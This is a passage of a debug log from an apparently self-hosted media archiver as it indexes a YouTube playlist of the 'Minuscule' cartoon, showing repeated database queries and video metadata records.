s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:14:41.526 [info] Sent 200 in 25ms 22:14:41.613 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #9vUxUhyQgmY/youtube video #9vUxUhyQgmY [9vUxUhyQgmY].NA", "id" => "9vUxUhyQgmY", "original_url" => "https://www.youtube.com/watch?v=9vUxUhyQgmY", "playlist_index" => 134, "title" => "youtube video #9vUxUhyQgmY"} 22:14:41.613 [debug] QUERY OK source="sources" db=0.3ms idle=101.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:41.614 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #mlqbvQyx0No/youtube video #mlqbvQyx0No [mlqbvQyx0No].NA", "id" => "mlqbvQyx0No", "original_url" => "https://www.youtube.com/watch?v=mlqbvQyx0No", "playlist_index" => 135, "title" => "youtube video #mlqbvQyx0No"} 22:14:41.615 [debug] QUERY OK source="sources" db=0.3ms idle=101.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:41.615 [debug] Current batch of media processed. Will check again in 1000ms 22:14:42.616 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #OJ7qySf0Do0/youtube video #OJ7qySf0Do0 [OJ7qySf0Do0].NA", "id" => "OJ7qySf0Do0", "original_url" => "https://www.youtube.com/watch?v=OJ7qySf0Do0", "playlist_index" => 136, "title" => "youtube video #OJ7qySf0Do0"} 22:14:42.617 [debug] QUERY OK source="sources" db=0.3ms idle=1095.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:42.617 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #c_N63x7TiGY/youtube video #c_N63x7TiGY [c_N63x7TiGY].NA", "id" => "c_N63x7TiGY", "original_url" => "https://www.youtube.com/watch?v=c_N63x7TiGY", "playlist_index" => 137, "title" => "youtube video #c_N63x7TiGY"} 22:14:42.618 [debug] QUERY OK source="sources" db=0.3ms idle=1095.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:42.618 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #_jFN94Z8Ju8/youtube video #_jFN94Z8Ju8 [_jFN94Z8Ju8].NA", "id" => "_jFN94Z8Ju8", "original_url" => "https://www.youtube.com/watch?v=_jFN94Z8Ju8", "playlist_index" => 138, "title" => "youtube video #_jFN94Z8Ju8"} 22:14:42.619 [debug] QUERY OK source="sources" db=0.2ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:42.619 [debug] Current batch of media processed. Will check again in 1000ms 22:14:43.620 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #F-Ts_1qlfQ4/youtube video #F-Ts_1qlfQ4 [F-Ts_1qlfQ4].NA", "id" => "F-Ts_1qlfQ4", "original_url" => "https://www.youtube.com/watch?v=F-Ts_1qlfQ4", "playlist_index" => 139, "title" => "youtube video #F-Ts_1qlfQ4"} 22:14:43.621 [debug] QUERY OK source="sources" db=0.4ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:43.621 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #1YrfH34Wjeg/youtube video #1YrfH34Wjeg [1YrfH34Wjeg].NA", "id" => "1YrfH34Wjeg", "original_url" => "https://www.youtube.com/watch?v=1YrfH34Wjeg", "playlist_index" => 140, "title" => "youtube video #1YrfH34Wjeg"} 22:14:43.622 [debug] QUERY OK source="sources" db=0.3ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:43.622 [debug] Current batch of media processed. Will check again in 1000ms 22:14:44.623 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #fBEOZDVFQ20/youtube video #fBEOZDVFQ20 [fBEOZDVFQ20].NA", "id" => "fBEOZDVFQ20", "original_url" => "https://www.youtube.com/watch?v=fBEOZDVFQ20", "playlist_index" => 141, "title" => "youtube video #fBEOZDVFQ20"} 22:14:44.624 [debug] QUERY OK source="sources" db=0.4ms idle=1128.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:44.624 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #W6r6yWIQGT8/youtube video #W6r6yWIQGT8 [W6r6yWIQGT8].NA", "id" => "W6r6yWIQGT8", "original_url" => "https://www.youtube.com/watch?v=W6r6yWIQGT8", "playlist_index" => 142, "title" => "youtube video #W6r6yWIQGT8"} 22:14:44.625 [debug] QUERY OK source="sources" db=0.3ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:44.625 [debug] Current batch of media processed. Will check again in 1000ms 22:14:45.626 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #es1mj1z2ufA/youtube video #es1mj1z2ufA [es1mj1z2ufA].NA", "id" => "es1mj1z2ufA", "original_url" => "https://www.youtube.com/watch?v=es1mj1z2ufA", "playlist_index" => 143, "title" => "youtube video #es1mj1z2ufA"} 22:14:45.627 [debug] QUERY OK source="sources" db=0.4ms idle=1129.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:45.627 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #nAH2ljPh_oM/youtube video #nAH2ljPh_oM [nAH2ljPh_oM].NA", "id" => "nAH2ljPh_oM", "original_url" => "https://www.youtube.com/watch?v=nAH2ljPh_oM", "playlist_index" => 144, "title" => "youtube video #nAH2ljPh_oM"} 22:14:45.628 [debug] QUERY OK source="sources" db=0.3ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:45.628 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #VljY7Zp1stk/youtube video #VljY7Zp1stk [VljY7Zp1stk].NA", "id" => "VljY7Zp1stk", "original_url" => "https://www.youtube.com/watch?v=VljY7Zp1stk", "playlist_index" => 145, "title" => "youtube video #VljY7Zp1stk"} 22:14:45.629 [debug] QUERY OK source="sources" db=0.4ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:45.629 [debug] Current batch of media processed. Will check again in 1000ms 22:14:46.631 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #plct9_romzE/youtube video #plct9_romzE [plct9_romzE].NA", "id" => "plct9_romzE", "original_url" => "https://www.youtube.com/watch?v=plct9_romzE", "playlist_index" => 146, "title" => "youtube video #plct9_romzE"} 22:14:46.632 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1132.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:46.632 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #deE1efjl1l0/youtube video #deE1efjl1l0 [deE1efjl1l0].NA", "id" => "deE1efjl1l0", "original_url" => "https://www.youtube.com/watch?v=deE1efjl1l0", "playlist_index" => 147, "title" => "youtube video #deE1efjl1l0"} 22:14:46.633 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1006.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:46.634 [debug] Current batch of media processed. Will check again in 1000ms 22:14:47.635 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #f81b580GEWM/youtube video #f81b580GEWM [f81b580GEWM].NA", "id" => "f81b580GEWM", "original_url" => "https://www.youtube.com/watch?v=f81b580GEWM", "playlist_index" => 148, "title" => "youtube video #f81b580GEWM"} 22:14:47.636 [debug] QUERY OK source="sources" db=0.5ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:47.637 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #wLl4-aJPIMk/youtube video #wLl4-aJPIMk [wLl4-aJPIMk].NA", "id" => "wLl4-aJPIMk", "original_url" => "https://www.youtube.com/watch?v=wLl4-aJPIMk", "playlist_index" => 149, "title" => "youtube video #wLl4-aJPIMk"} 22:14:47.637 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:47.638 [debug] Current batch of media processed. Will check again in 1000ms 22:14:48.639 [debug] Current batch of media processed. Will check again in 1000ms 22:14:48.848 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:49.640 [debug] Current batch of media processed. Will check again in 1000ms 22:14:50.641 [debug] Current batch of media processed. Will check again in 1000ms 22:14:51.642 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 139, "filename" => "/downloads/Miniscule Season 2/2014-12-19 Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2)/Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2) [-wL4RbkOT1o].mp4", "id" => "-wL4RbkOT1o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-wL4RbkOT1o", "playlist_index" => 150, "timestamp" => 1419010172, "title" => "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)", "upload_date" => "20141219"} 22:14:51.643 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1133.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:51.644 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=472.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:51.645 [debug] QUERY OK source="media_items" db=0.5ms idle=473.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-12-19 17:29:32Z], 5] 22:14:51.700 [debug] QUERY OK source="media_items" db=54.2ms idle=474.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)", "e338ff63-f686-413f-a4d2-6d2d6bfa908a", "-wL4RbkOT1o", 139, false, 5, "https://www.youtube.com/watch?v=-wL4RbkOT1o", 150, "/downloads/Miniscule Season 2/2014-12-19 Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2)/Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2) [-wL4RbkOT1o].mp4", false, false, false, [], 1, ~U[2014-12-19 17:29:32Z], ~U[2025-12-12 05:14:51Z], ~U[2025-12-12 05:14:51Z], "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)\n\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - A Christmas Apple / La Pomme de Noël (Season 2)", "-wL4RbkOT1o", 139, false, 5, "https://www.youtube.com/watch?v=-wL4RbkOT1o", "/downloads/Miniscule Season 2/2014-12-19 Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2)/Minuscule - A Christmas Apple ⧸ La Pomme de Noël (Season 2) [-wL4RbkOT1o].mp4", false, ~U[2014-12-19 17:29:32Z]] 22:14:51.701 [debug] QUERY OK source="sources" db=0.6ms idle=189.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:51.702 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=58.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:51.703 [debug] QUERY OK source="media_items" db=0.6ms idle=58.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89134] 22:14:51.704 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #vovKjkAmAWQ/youtube video #vovKjkAmAWQ [vovKjkAmAWQ].NA", "id" => "vovKjkAmAWQ", "original_url" => "https://www.youtube.com/watch?v=vovKjkAmAWQ", "playlist_index" => 151, "title" => "youtube video #vovKjkAmAWQ"} 22:14:51.705 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=59.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:51.705 [debug] Current batch of media processed. Will check again in 1000ms 22:14:52.707 [debug] Current batch of media processed. Will check again in 1000ms 22:14:53.708 [debug] Current batch of media processed. Will check again in 1000ms 22:14:54.709 [debug] Current batch of media processed. Will check again in 1000ms 22:14:55.710 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box 